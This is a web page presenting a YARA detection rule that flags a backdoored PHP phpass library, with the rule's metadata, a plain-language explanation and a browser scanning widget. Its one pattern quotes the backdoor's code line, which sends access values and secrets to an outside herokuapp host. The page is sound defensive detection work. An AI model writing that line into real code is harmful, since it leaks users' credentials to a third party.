YARA · Signature Base (Florian Roth / Nextron)
SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Phpass_May21
Detects backdoored PHP phpass version
- Author
- Christian Burkard
- Date
- 2022-05-24
- Modified
- 2023-12-05
- Score / Quality
- 75 / 85
What this rule detects
Detects backdoored PHP phpass version
It defines 1 patterns (1 text, 0 hex, 0 regex).
Summary generated from the rule's metadata and condition.
Rule source
vuln-php-hack-backdoored-phpass-may21.yarDetection Rule License 1.1
rule SIGNATURE_BASE_VULN_PHP_Hack_Backdoored_Phpass_May21 : FILE
{
meta:
= "Detects backdoored PHP phpass version"
= "Christian Burkard"
= "da13924c-0448-589c-bb2a-ee09736a5602"
= "2022-05-24"
= "2023-12-05"
= "https://twitter.com/s0md3v/status/1529005758540808192"
= "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/yara/vul_backdoor_antitheftweb.yar#L2-L14"
= "https://github.com/Neo23x0/signature-base/blob/94a1c48d7ab499879287ff611dfe7f9c56376030/LICENSE"
= "d9669dadc698c6fa63d61857f9ada16a9303aa8bf4139bec75104f2e9f00a36a"
= 75
= 85
= "FILE"
strings:
$x1 = "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" ascii
condition:
filesize < 30KB and $x1
}
Strings (1 patterns)
| Identifier | Type | Value | Modifiers |
|---|---|---|---|
| $x1 | text | "file_get_contents(\"http://anti-theft-web.herokuapp.com/hacked/$access/$secret\")" | ascii |
Condition
filesize < 30KB and $x1In plain words (Heuristic)
- The file must be smaller than 30KB (a cheap guard that skips large files).
- Pattern $x1 must be present.
Test this rule in your browser
Drop a file to scan it with this rule using YARA-X compiled to WebAssembly. Nothing is uploaded.
Drop a file here or click to chooseScanned locally with YARA-X. Files up to 200 MB.
Licence & attribution
Author: Christian Burkard
Source repository: Signature Base (Florian Roth / Nextron) @ 94a1c48d7a
Licence: Detection Rule License 1.1 (repository licence)
Mirrored via YARA Forge 20260927, which prefixes rule names with the source and adds normalised meta fields.
Rule id: da13924c-0448-589c-bb2a-ee09736a5602
Tags:FILE
Related rules
- Suspicious / huntingSignature Base (Florian Roth / Nextron)· Christian Burkard· 2024-04-18
- Suspicious / huntingSignature Base (Florian Roth / Nextron)· Christian Burkard· 2022-06-01
- Suspicious / huntingSignature Base (Florian Roth / Nextron)· Christian Burkard· 2022-06-01
- GenericSignature Base (Florian Roth / Nextron)· Christian Burkard· 2022-05-24
- Suspicious / huntingSignature Base (Florian Roth / Nextron)· Christian Burkard· 2022-06-01
- Suspicious / huntingSignature Base (Florian Roth / Nextron)· Christian Burkard· 2022-06-01